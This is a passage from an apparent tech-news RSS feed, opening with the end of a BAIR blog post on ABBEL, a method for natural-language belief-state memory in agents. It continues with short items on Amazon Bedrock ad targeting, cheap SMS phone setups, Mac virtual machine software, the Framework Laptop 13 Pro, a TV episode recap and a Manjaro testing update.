href="https://arxiv.org/pdf/2512.24601">Zhang et al., 2025</a>) are complementary, as they may benefit from better next context creation through summarization training. We would like to point out some exciting works in the space of general recursive summarization focused on math (<a href="https://arxiv.org/pdf/2602.03773">Wu et al., 2026</a>), reasoning with belief generation (<a href="https://arxiv.org/pdf/2506.15841">Zhou et al., 2025</a>), competitive coding with a distilled summarization module using similar autoencoding objectives to our general belief grader (<a href="https://arxiv.org/abs/2604.02721">DeepReinforce et al., 2026</a>), and adding continuous features to summaries (<a href="https://arxiv.org/abs/2604.09852">Kontonis et al., 2026</a>).</p>

<h2>What’s next for better memory?</h2>
<p>Many more possibilities are enabled through using explicit belief states as information bottlenecks for multi-step interaction. You could reward actions based on their effect on the belief state to guide exploration, transmit the explicit belief states for better communication between agents, or even improve user controllability by directly modifying the memories on which the agents’ decisions are based.</p>

<p>Some forms of information, e.g., what a person looks like, are not represented well by text alone. A continuously learning system will also have to capture such information. Additionally, if we want a system to learn to communicate in a brand new language or to play a brand new game better than any person in the world, the skills accumulated over the lifetime of conversations or games must be stored in a very compressed form, essentially taking on the role of the weights of the model itself.</p>

<p>More powerful systems will likely utilize a combination of multiple forms of memory, where the contents of the context may correspond to working memory while other approaches are used for short and long-term memory. How to instantiate these other forms of memory, for instance via test-time training, adapter memories, continuous context memories, or some combination thereof, presents an exciting challenge.</p>

<h2>Acknowledgements</h2>

<div class="abbel-ack">

Acknowledgements: We would like to thank <a href="https://www.alanesuhr.com/">Alane Suhr</a> and <a href="https://kartikgo.github.io/">Kartik Goyal</a> for advising this research as well as <a href="https://ethanm88.github.io/">Ethan Mendes</a>, <a href="https://davidhe137.github.io/">David He</a>, <a href="https://praeclarumjj3.github.io/">Jitesh Jain</a>, and <a href="https://nickatomlin.github.io/">Nicholas Tomlin</a> for comments on early drafts of this post. We would like to thank the MEM1 authors for their email correspondence and for sharing private reviewer feedback which we found particularly insightful.

</div>

<hr>

<h2>Citation</h2>

<p>If abbel was inspiring for your future work, please cite us with this! And here is some <a href="https://jakob-bjorner.github.io/abbel-advice.html">advice</a> for doing similar research!</p>
<div class="language-bibtex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">@misc</span><span class="p">{</span><span class="nl">lidayan2026abbellearningnaturallanguagebelief</span><span class="p">,</span>
      <span class="na">title</span><span class="p">=</span><span class="s">{ABBEL: Learning Natural-Language Belief States for Memory-Efficient Interaction}</span><span class="p">,</span> 
      <span class="na">author</span><span class="p">=</span><span class="s">{Aly Lidayan and Jakob Bjorner and Satvik Golechha and Kartik Goyal and Alane Suhr}</span><span class="p">,</span>
      <span class="na">year</span><span class="p">=</span><span class="s">{2026}</span><span class="p">,</span>
      <span class="na">eprint</span><span class="p">=</span><span class="s">{2512.20111}</span><span class="p">,</span>
      <span class="na">archivePrefix</span><span class="p">=</span><span class="s">{arXiv}</span><span class="p">,</span>
      <span class="na">primaryClass</span><span class="p">=</span><span class="s">{cs.CL}</span><span class="p">,</span>
      <span class="na">url</span><span class="p">=</span><span class="s">{https://arxiv.org/abs/2512.20111}</span><span class="p">,</span> 
<span class="p">}</span>
</code></pre></div></div>

<hr>

<div class="footnotes abbel-footnotes">
  <ol>
    <li>
      <p>
        With newer models the number of tokens till 50% compute spend is on attention gets much larger than 25K. Interleaving linear attention alternatives with full attention as is done with gpt-oss and DeepSeekv4, results in massive flops reductions for the attention computation. For example with DeepSeekv4-Pro (1.6T A49B) it requires nearly 450 thousand tokens to reach the 50% tradeoff point. Grandcode uses Qwen-3.5-397B-A17B a model which hits 50% FLOPs for attention at ~150 thousand tokens.
        <a href="http://bair.berkeley.edu/blog/2026/07/26/abbel/#fnref:efficientattn" class="reversefootnote">↩</a>
      </p>
    </li>
    <li>
      <p>
        This setting is technically solvable with much more computationally effective tools, but serves as a flexible test bed to study properties of recursive summarization. <a href="https://wordle-page.s3.amazonaws.com/assets/Wordle_Paper_Final.pdf">Bertsimas et al., 2022</a>, showed that an exact solution for the wordle game instantiated with the original vocabulary of the javascript game can be found with dynamic programming, but evidently the general formulation of wordle as a guessing game on K letters with L attempts and some dictionary of valid words and correct words D is NP hard to determine the minimal number of moves required.
        <a href="http://bair.berkeley.edu/blog/2026/07/26/abbel/#fnref:wordlehard" class="reversefootnote">↩</a>
      </p>
    </li>
    <li>
      <p>
        In practice there is an O(N/K) overhead cost for summary. N is the total number of actions. K is the number of actions till summarization is triggered. This is necessarily true for any summary approach. For ease of illustration this gif uses K = 1. In our experiments, to put more emphasis on summarization weaknesses we also use K=1. In practice overhead is small as K can be chosen to be near the efficient hardware limit.
        <a href="http://bair.berkeley.edu/blog/2026/07/26/abbel/#fnref:videoabbelslow" class="reversefootnote">↩</a>
      </p>
    </li>
  </ol>
</div>
<hr>

]]></content:encoded>
</item>
<item>
<title><![CDATA[How Yahoo enhances search retargeting using Amazon Bedrock]]></title>
<description><![CDATA[In this post, we demonstrate how Yahoo implemented Amazon Bedrock to enhance their Search Retargeting (SRT) capabilities in the Yahoo DSP ad tech suite. SRT is a core audience targeting solution that helps advertisers reach users based on their historical search behavior, bridging search intent w...]]></description>
<link>https://tsecurity.de/de/3699689/ai-nachrichten/how-yahoo-enhances-search-retargeting-using-amazon-bedrock/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699689/ai-nachrichten/how-yahoo-enhances-search-retargeting-using-amazon-bedrock/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:36 +0200</pubDate>
<content:encoded><![CDATA[In this post, we demonstrate how Yahoo implemented Amazon Bedrock to enhance their Search Retargeting (SRT) capabilities in the Yahoo DSP ad tech suite. SRT is a core audience targeting solution that helps advertisers reach users based on their historical search behavior, bridging search intent with display, video, and native advertising. Beyond targeting keywords entered on Yahoo Search, SRT uses AI to identify and engage users who demonstrate intent through search activity both on Yahoo and across integrated partner systems.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4695: Try not to buy a phone]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


IDEAS:




 Using a cheap phone plan with SMS for authentication.


 Mighty Text as a free SMS solution.


 Google VoIP number for shared accounts.


 Issues with SMS verification blocking VoIP numbers.


 Avoiding carrier-specific number b...]]></description>
<link>https://tsecurity.de/de/3699671/podcasts/hpr4695-try-not-to-buy-a-phone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699671/podcasts/hpr4695-try-not-to-buy-a-phone/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:34 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
IDEAS:</p>

<ol>

<li>
 Using a cheap phone plan with SMS for authentication.</li>

<li>
 Mighty Text as a free SMS solution.</li>

<li>
 Google VoIP number for shared accounts.</li>

<li>
 Issues with SMS verification blocking VoIP numbers.</li>

<li>
 Avoiding carrier-specific number blocks.</li>

<li>
 Multiple SIM cards for cost-effective SMS.</li>

<li>
 Rooting a phone to manage apps.</li>

<li>
 Security concerns with third-party apps.</li>

<li>
 Limited data usage for minimal phone plans.</li>

<li>
 Challenges with app compatibility on rooted devices.</li>

<li>
 Short-term phone solutions for SMS needs.</li>

<li>
 Shared Google accounts for streamlined access.</li>

<li>
 Avoiding premium SMS services like $15/month plans.</li>

<li>
 Using Wi-Fi for data instead of cellular plans.</li>

<li>
 Importance of SMS for MFA (multi-factor authentication).</li>

<li>
 Transitioning from old phones to new setups.</li>

<li>
 Balancing convenience and cost in phone plans.</li>

<li>
 Reliance on SMS for banking and insurance access.</li>

<li>
 Difficulty finding non-blocked SMS verification options.</li>

<li>
 Preference for minimal, low-cost phone solutions.</li>

</ol>

<p>

</p>

<p>
RECOMMENDATIONS:</p>

<ol>

<li>
 Use a shared Google account for SMS access.</li>

<li>
 Opt for a cheap phone plan with unlimited texting.</li>

<li>
 Try Mighty Text as a free SMS alternative.</li>

<li>
 Avoid premium SMS services with high fees.</li>

<li>
 Use Wi-Fi instead of cellular data for minimal plans.</li>

<li>
 Choose carrier numbers over VoIP for critical services.</li>

<li>
 Root a device to manage app settings.</li>

<li>
 Test SMS compatibility with banks and providers.</li>

<li>
 Consider multiple SIM cards for redundancy.</li>

<li>
 Prioritize SMS for MFA over other verification methods.</li>

<li>
 Monitor app updates for compatibility with rooted devices.</li>

<li>
 Select phones with flexible data plans.</li>

<li>
 Use downloaded content instead of streaming.</li>

<li>
 Check for SMS blockages with new services.</li>

<li>
 Explore low-cost phone options for minimal use.</li>

<li>
 Maintain backup SMS methods for emergencies.</li>

<li>
 Simplify phone setups to reduce costs.</li>

<li>
 Verify SMS support before switching providers.</li>

<li>
 Combine Wi-Fi and SMS for reliable connectivity.</li>

<li>
 Share accounts to streamline digital access.</li>

</ol>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4695/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hier ist das neue Framework Laptop 13 Pro!]]></title>
<description><![CDATA[YouTube Video]]></description>
<link>https://tsecurity.de/de/3699256/videos/hier-ist-das-neue-framework-laptop-13-pro/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699256/videos/hier-ist-das-neue-framework-laptop-13-pro/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:35 +0200</pubDate>
<content:encoded><![CDATA[<p>YouTube Video</p><p><iframe loading="lazy" src="https://www.youtube.com/embed/0EW0T43otik"></iframe></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US senators urge Apple to abandon plans for Chinese-made chips]]></title>
<description><![CDATA[Apple wants to use China-sourced chips for products sold in China during the AI-driven memory shortage, but a letter from US senators hopes to persuade Apple otherwise.US senators don't want Apple seeking help from ChinaThe hype cycle around what is basically a natural evolution of an advanced au...]]></description>
<link>https://tsecurity.de/de/3699145/ios-mac-os/us-senators-urge-apple-to-abandon-plans-for-chinese-made-chips/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699145/ios-mac-os/us-senators-urge-apple-to-abandon-plans-for-chinese-made-chips/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:26 +0200</pubDate>
<content:encoded><![CDATA[Apple wants to use China-sourced chips for products sold in China during the AI-driven memory shortage, but a letter from US senators hopes to persuade Apple otherwise.<br><br><div><img src="https://media.appleinsider.com/gallery/68406-144158-iPhone-17-Pro-Max-on-book-xl.jpg" alt="Blue iPhone with three rear cameras lies face down on a closed notebook on a wooden desk, surrounded by blurred tech accessories in the background"><br><span>US senators don't want Apple seeking help from China</span></div><br>The hype cycle around what is basically a natural evolution of an <a href="https://appleinsider.com/articles/25/07/22/doom-and-gloom-reporting-on-apple-intelligence-continues-to-ignore-apples-playbook">advanced autocomplete engine</a> has destabilized the global economy and supply chain. The ever-increasing demand for more components to build data centers has led to a global <a href="https://appleinsider.com/articles/26/02/27/the-global-ram-and-ssd-shortage-crisis-explained">chip and component shortage</a>.<br><br>Apple has <a href="https://appleinsider.com/articles/26/06/27/apple-asks-trump-to-let-it-buy-memory-from-a-blacklisted-supplier">looked to</a> blacklisted Chinese companies to bolster its supply chain, but, according to a letter <a href="https://www.bloomberg.com/news/articles/2026-07-29/senators-warn-apple-not-to-buy-memory-chips-from-chinese-firms">viewed by</a> <em>Bloomberg</em>, US senators want to urge Apple away from this solution. They worry about various potential calamities like other companies following suit, potential national security issues, and yet <a href="https://appleinsider.com/articles/26/07/16/four-more-chip-plants-promised-as-tsmc-plans-a-further-100-billion-to-the-us?utm_medium=social&amp;utm_source=ai_forums">another industrial exodus</a> from the United States.<br><br><br> <a href="https://appleinsider.com/articles/26/07/30/us-senators-urge-apple-to-abandon-plans-for-chinese-made-chips?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245107?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Sugar’ Season 2, Episode 7 Recap: John Sugar Crosses a Line He Can’t Undo]]></title>
<description><![CDATA[Sugar Season 2, Episode 7 delivers the major confrontation viewers expected from the finale, even though one episode remains.



Titled “What Else Can You Do?”, the episode brings John Sugar’s investigation into the Moon brothers to a dramatic conclusion. Danny and Ji reunite, Ray Vega meets a br...]]></description>
<link>https://tsecurity.de/de/3698999/ios-mac-os/sugar-season-2-episode-7-recap-john-sugar-crosses-a-line-he-cant-undo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698999/ios-mac-os/sugar-season-2-episode-7-recap-john-sugar-crosses-a-line-he-cant-undo/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[Sugar Season 2, Episode 7 delivers the major confrontation viewers expected from the finale, even though one episode remains.



Titled “What Else Can You Do?”, the episode brings John Sugar’s investigation into the Moon brothers to a dramatic conclusion. Danny and Ji reunite, Ray Vega meets a brutal end, and Sugar crosses a line he has spent the entire season trying to avoid.




Episode title: What Else Can You Do?



Release date: July 31, 2026



Runtime: 46 minutes



Genre: Mystery, drama and neo-noir



Streaming platform: Apple TV



Season 2 finale date: August 7, 2026




Warning: Major spoilers for Sugar Season 2, Episode 7 follow.



Season 2 contains eight episodes, with the finale arriving one week after Episode 7.



Sugar Season 2, Episode 7 recap



The episode begins with Sugar crawling out of a wrecked car. The story then moves back two days to explain how he ended up in the crash.



Danny remains in police custody, while Ji hides with Val. Vega plans to use Danny as leverage, leaving Sugar with few ways to protect both brothers.



Sugar turns to Sergey, an old cartel contact with influence over Vega. Sergey initially agrees to help secure Danny’s release, giving Sugar some hope that the conflict can end without more violence.



However, Sergey dies in a plane crash before the plan works. Sugar then learns that Sergey’s son Diego controls the Fire Sale operation and has been working with Vega. With his leverage gone, Sugar prepares a more dangerous solution.



How does Sugar defeat Vega?



Sugar first offers Vega new identities for him and his family, allowing them to leave the country safely. Vega refuses the deal because he believes he still controls the situation.



Val later tells Sugar that Ji has disappeared. Vega secretly listens to their conversation through a bug, although Sugar already knows that Vega is monitoring him.



Ji then calls Vega and offers to surrender in exchange for Danny. Vega accepts and takes Danny to a remote desert location with a bag covering his head.



When Vega returns to his vehicle after finding the meeting point empty, he discovers that Sugar has replaced Danny in the back seat. Sugar attacks Vega while he is driving, causing the crash shown at the beginning.



Both men survive, leading to a violent fight beside the wreckage. Sugar eventually chokes Vega to death, ending the season’s central criminal conflict. Danny and Ji then reunite safely.



Was Episode 7 secretly the season finale?



Episode 7 certainly feels like a finale because it resolves the Moon brothers’ story and removes Vega, the season’s main villain.



However, Sugar’s larger problems remain unanswered. He still needs to find his missing sister Djen, understand what happened to his people and determine whether his growing attachment to human life is changing him permanently.



His relationship with Charlotte also looks increasingly suspicious. She comforts him after Vega’s death, but her interest in Sugar and his emotional decline could hide another motive.



Meanwhile, Stanley reveals that the four-circle symbol connects to tropospheric nodes designed to repair the climate. The technology is linked to Senator Pavich, opening another mystery before the finale.



Season 1 followed Sugar’s search for Olivia Siegel before revealing that he belonged to an extraterrestrial group observing humanity. Season 2 has pushed him closer to human emotions, violence and moral compromise.



Episode 7 closes one case while leaving Sugar’s personal crisis unresolved. The August 7 finale will need to address Djen, Charlotte, Pavich’s project and the consequences of Sugar killing Vega.



What do you think Charlotte is planning, and can Sugar still find his sister after everything that happened? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Best Virtual Machine Software for Mac in 2026]]></title>
<description><![CDATA[The best virtual machine software for Mac lets you run Windows, Linux, older operating systems, and isolated development environments without replacing macOS.



Parallels Desktop offers the easiest Windows experience, while VMware Fusion provides powerful virtualization tools for free. UTM is a ...]]></description>
<link>https://tsecurity.de/de/3699008/ios-mac-os/best-virtual-machine-software-for-mac-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699008/ios-mac-os/best-virtual-machine-software-for-mac-in-2026/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[The best virtual machine software for Mac lets you run Windows, Linux, older operating systems, and isolated development environments without replacing macOS.



Parallels Desktop offers the easiest Windows experience, while VMware Fusion provides powerful virtualization tools for free. UTM is a strong open-source option, and VirtualBox remains useful for cross-platform testing.



Your Mac’s processor affects which operating systems it can run efficiently. Apple silicon Macs, including M1 through M5 models, deliver the best performance with ARM-based guest operating systems. Intel-based systems can run traditional x86 and x64 operating systems directly.



Best Virtual Machine Software for Mac Compared



Virtual machine softwareBest forApple silicon supportPriceMain limitationParallels DesktopRunning Windows easilyYesPaidSubscription costVMware Fusion ProFree professional virtualizationYesFreeLess polished Windows integrationUTMOpen-source virtualization and emulationYesFreeLimited graphics accelerationVirtualBoxCross-platform testingLimited but improvingFreeSeveral Apple silicon limitationsTartmacOS and Linux automationYesFreeCommand-line focused



⭐ 1. Parallels Desktop: Best Overall (We Recommend)







Parallels Desktop is the best choice for most people who need to run Windows on a Mac regularly. It provides a guided Windows 11 installation, shared folders, clipboard synchronization, drag-and-drop file transfers, and support for Mac peripherals.



Its Coherence mode hides the Windows desktop and displays Windows applications alongside regular Mac applications. You can open Windows software from the Dock, use macOS keyboard shortcuts, and access files stored on your Mac from inside Windows.



Parallels supports Windows 11 on Arm on Apple silicon Macs. Microsoft recognizes Windows 11 Pro and Enterprise running through Parallels as a compatible solution for Apple silicon systems.




    

    
        Parallels Desktop
        
            Run Windows on your Mac without rebooting. Our top recommendation for Apple silicon and Intel Macs.
        
    

    
        Free Trial
        
            Visit Website
        
    




Key Parallels Desktop features include:




One-click Windows 11 installation



Coherence mode for running Windows apps without displaying the complete Windows desktop



Shared Mac and Windows folders



DirectX 11 graphics support



USB device and printer sharing



Virtual machine snapshots



Retina display optimization



Development tools in the Pro edition




Parallels works well for Microsoft Office, business applications, web development, accounting software, testing, and many standard Windows programs. However, some applications that depend on unsupported hardware drivers, nested virtualization, specialised security components, or certain anti-cheat systems may not work correctly with Windows 11 on Arm.



Parallels requires a paid licence, and Windows activation usually requires a separate Windows licence. The Standard edition suits home users, while the Pro edition provides more processor, memory, networking, debugging, and automation controls.



2. VMware Fusion Pro: Best Free Virtual Machine Software for Mac







VMware Fusion Pro is the best free alternative to Parallels Desktop. Broadcom made Fusion Pro free for personal, educational, and commercial users, removing the previous paid licence requirement.



Fusion supports Windows 11 for Arm, Linux distributions, snapshots, virtual networks, cloning, encryption, and advanced hardware configuration. It also offers DirectX 11 graphics acceleration and fast file sharing on supported guest systems.



VMware Fusion Pro includes:




Windows 11 on Arm support



Multiple snapshots



Linked and full virtual machine clones



Custom virtual networking



Virtual disk encryption



3D graphics acceleration



Shared folders and clipboard integration



Import support for several virtual machine formats




Fusion gives developers and IT professionals more configuration options than most free tools. It works well for testing software, creating isolated networks, running Linux servers, examining suspicious files, and reproducing enterprise environments.



The setup process feels less straightforward than Parallels, particularly for people installing Windows for the first time. Downloads also require a Broadcom account. However, Fusion delivers excellent value because the Pro edition is free for all supported uses.



3. UTM: Best Open-Source Virtual Machine Software for Mac







UTM is a free and open-source virtual machine application built specifically for Apple platforms. It uses Apple’s Hypervisor framework to virtualize ARM64 operating systems at near-native speeds on Apple silicon Macs.



UTM can also emulate processors that do not match the Mac’s hardware architecture. For example, it can emulate an x86 system on an Apple silicon Mac, allowing you to experiment with older versions of Windows or specialised Linux distributions.



Supported architectures include:




ARM64



x86 and x86-64



ARM32



PowerPC



MIPS



RISC-V




Virtualization provides much better performance when the guest and host processor architectures match. Emulation translates instructions between different architectures, which requires considerably more processing power.



UTM provides downloadable configurations for Windows, Ubuntu, Debian, Kali Linux, Arch Linux, and other operating systems. Its Windows 11 configuration supports ARM64 and recommends 8GB of virtual memory.



UTM suits students, developers, security researchers, and enthusiasts who want more control without paying for a commercial product. Its graphics performance and desktop integration generally fall behind Parallels, so it is less suitable for demanding Windows applications or 3D software.



4. Oracle VirtualBox: Best for Cross-Platform Test Environments







VirtualBox has long been a popular free virtualization tool for Windows, Linux, and Intel-based Macs. It offers snapshots, shared folders, command-line management, virtual networking, and portable virtual disk formats.



Oracle now provides an Arm64 package for Apple silicon Macs, but the Apple silicon version still has several restrictions. Oracle documents limitations involving audio, storage, graphics, Guest Additions, unattended installation, and saved states on Arm hosts.



VirtualBox remains useful when a development team needs similar virtual machine configurations across multiple host operating systems. It also works well for lightweight Linux testing, training labs, network experiments, and older Intel Mac environments.



Mac users with Apple silicon should choose VirtualBox only after confirming that it supports the required guest operating system and features. VMware Fusion or UTM generally provides a more complete experience on current Macs.



5. Tart: Best for Developers and Continuous Integration







Tart is a specialised virtualization tool for building, running, and managing macOS and Linux virtual machines on Apple silicon. It focuses on command-line workflows, automation, reproducible images, and continuous integration rather than general desktop use.



Developers can clone prepared virtual machine images, run automated tests, create clean macOS environments, and integrate virtual machines into CI pipelines. Tart requires an Apple silicon Mac running macOS 13 Ventura or later.



Tart is a good option for:




Testing Mac applications across clean environments



Running automated macOS builds



Creating self-hosted CI runners



Managing reusable macOS and Linux images



Reproducing development environments




It does not aim to provide the simple Windows experience found in Parallels, and its command-line workflow makes it unsuitable for many casual users.



What to Check Before Installing a Virtual Machine



Before choosing virtual machine software, check your Mac’s processor, available memory, storage capacity, and required guest operating system.



An Apple silicon Mac should use ARM64 versions of Windows and Linux whenever possible. Parallels requires an Arm-based installation image when creating a Windows virtual machine on Apple silicon.



For comfortable performance, consider these starting allocations:



Guest operating systemRecommended RAMRecommended storageWindows 118GB or more64GB or moreDesktop Linux4GB or more30GB or moreLinux server2GB or more20GB or moremacOS testing VM8GB or more60GB or more



Avoid assigning all available processor cores or memory to the virtual machine because macOS still needs enough resources to remain responsive. A Mac with 16GB of unified memory can handle one moderate virtual machine, while 24GB or 32GB provides more room for development tools and multiple environments.



Which Mac Virtual Machine Software Should You Choose?



Choose Parallels Desktop when you want the easiest and most polished way to run Windows applications. VMware Fusion Pro is the strongest free option for developers, IT professionals, and users comfortable configuring virtual machines manually.



UTM works well for open-source virtualization, processor emulation, and older operating systems. VirtualBox remains useful for portable cross-platform labs, although its Apple silicon support has important limitations. Tart is the right choice for automated macOS and Linux testing on Apple silicon.



For most Mac users, Parallels Desktop provides the best overall experience. VMware Fusion Pro offers the best balance of advanced features and zero licence cost.]]></content:encoded>
</item>
<item>
<title><![CDATA[Great Wall Motor’s Haval Prepares For Apple Car Key Support]]></title>
<description><![CDATA[Apple continues to quietly build out the backend framework for its digital car keys. The technology giant recently updated its internal code to include references to another popular Chinese automotive brand. According to recent discoveries within the Wallet app's backend, Apple is preparing to la...]]></description>
<link>https://tsecurity.de/de/3699021/ios-mac-os/great-wall-motors-haval-prepares-for-apple-car-key-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699021/ios-mac-os/great-wall-motors-haval-prepares-for-apple-car-key-support/</guid>
<pubDate>Mon, 03 Aug 2026 00:15:20 +0200</pubDate>
<content:encoded><![CDATA[Apple continues to quietly build out the backend framework for its digital car keys. The technology giant recently updated its internal code to include references to another popular Chinese automotive brand. According to recent discoveries within the Wallet app's backend, Apple is preparing to launch Car Key support for Haval, a brand owned by Great Wall Motor.



Haval owners could soon unlock their vehicles with an iPhone



This latest development follows a similar discovery made just weeks ago when backend code pointed to upcoming support for GWM's Tank vehicles. While Haval already offers traditional CarPlay support across several of its models, none of them currently utilize Apple's dedicated digital key system.




https://twitter.com/aaronp613/status/2083001519616492023




The Car Key feature allows drivers to completely replace their physical fob. Users can lock, unlock, and even start their compatible vehicles using just their phone or smartwatch.



While the exact rollout timeline remains unclear, the backend changes suggest an official launch could be right around the corner.]]></content:encoded>
</item>
<item>
<title><![CDATA[Review Roundup: Framework Laptop 13 Pro]]></title>
<description><![CDATA[The review embargo has lifted for the new Framework Laptop 13 Pro, and the consensus across the board is that it is a massive leap forward in terms of build quality and battery life. The main issue reviewers complained about is the sky-high price, with the higher-end model jumping dramatically fr...]]></description>
<link>https://tsecurity.de/de/3698910/linux-tipps/review-roundup-framework-laptop-13-pro/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698910/linux-tipps/review-roundup-framework-laptop-13-pro/</guid>
<pubDate>Mon, 03 Aug 2026 00:14:28 +0200</pubDate>
<content:encoded><![CDATA[The review embargo has lifted for the new Framework Laptop 13 Pro, and the consensus across the board is that it is a massive leap forward in terms of build quality and battery life. The main issue reviewers complained about is the sky-high price, with the higher-end model jumping dramatically from $2,100 up to $2,900 due to the memory shortage crisis. (Some note that the price "nearly doubled" overnight while they were in the middle of testing.)
 
In his video review, Marques Brownlee says, "This is their best build yet. They're finally doing what people have been asking for: a premium... modular... laptop." ZDNET agrees that this device "represents a new approach for Framework and a maturation of the brand's catalog," noting that the new construction is "sleek and airtight, with no gaps, spaces, or evidence that was even put together by your hands at all." Tom's Hardware echoes this enthusiasm, declaring that "The Framework Laptop 13 Pro's sturdy design, haptic trackpad, and bigger battery feel like they should have been there all along".
 
Battery life, which has historically been a weak point for Framework, is now a standout feature. Ars Technica points out that the combination of Intel's efficient Panther Lake chips and a new 74-watt-hour battery is "finally long enough to decisively eliminate 'mediocre-to-poor battery life' as the laptop's biggest downside." They also said it's "Framework's nicest-looking, nicest-feeling, most polished laptop design."
 
For Linux users, the machine appears to deliver on its promises. Phoronix says the device "is designed with great Linux compatibility in mind," offering a seamless out-of-the-box experience for distributions like Ubuntu and Fedora.
 
As mentioned above, the overarching complaint is the extreme cost. Ars Technica notes that Framework unfortunately "switched to an exotic new upgradeable LPDDR5X RAM format just in time for those modules to become astronomically expensive." Still, Marques Brownlee summarizes the long-term value proposition perfectly: while it might be painfully expensive on day one, "the longer you keep this laptop, the more it feels worth it" because you can easily repair and upgrade it over time. Compared to Apple's flagship, the Framework is "80% of the quality, way more modular," he says.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Review+Roundup%3A+Framework+Laptop+13+Pro%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F28%2F0123243%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F28%2F0123243%2Freview-roundup-framework-laptop-13-pro%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/28/0123243/review-roundup-framework-laptop-13-pro?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Starling is a new Linux desktop built using AI in six months]]></title>
<description><![CDATA[Some Linux desktop environments were developed over decades, others in just a few years. Starling, which made the rounds online this week, claims to have been built by just one person in six months using AI coding tools. What’s more, a preview build is available as a .deb to install on Ubuntu 26....]]></description>
<link>https://tsecurity.de/de/3698884/linux-tipps/starling-is-a-new-linux-desktop-built-using-ai-in-six-months/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698884/linux-tipps/starling-is-a-new-linux-desktop-built-using-ai-in-six-months/</guid>
<pubDate>Mon, 03 Aug 2026 00:14:11 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/starling-ai-linux-desktop.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/starling-ai-linux-desktop.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/starling-ai-linux-desktop.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/starling-ai-linux-desktop.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/starling-ai-linux-desktop.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Some Linux desktop environments were developed over decades, others in just a few years. Starling, which made the rounds online this week, claims to have been built by just one person in six months using AI coding tools. What’s more, a preview build is available as a .deb to install on Ubuntu 26.04 LTS. Yup, this isn’t a ChatGPT mockup but a real working demo. According to the project’s GitHub and website, a developer used AI to rewrite Flutter’s framework layer from Dart to Swift, and left its C++ rendering engine unchanged. A traditional desktop uses a windowing system but […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/starling-ai-built-linux-desktop">Starling is a new Linux desktop built using AI in six months</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-07-27 - Kernels, Systemd, LibreOffice, Firefox, Thunderbird]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may f...]]></description>
<link>https://tsecurity.de/de/3698780/unix-server/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698780/unix-server/testing-update-2026-07-27-kernels-systemd-libreoffice-firefox-thunderbird/</guid>
<pubDate>Mon, 03 Aug 2026 00:13:07 +0200</pubDate>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.</p>
<h3><a name="p-868069-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-868069-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
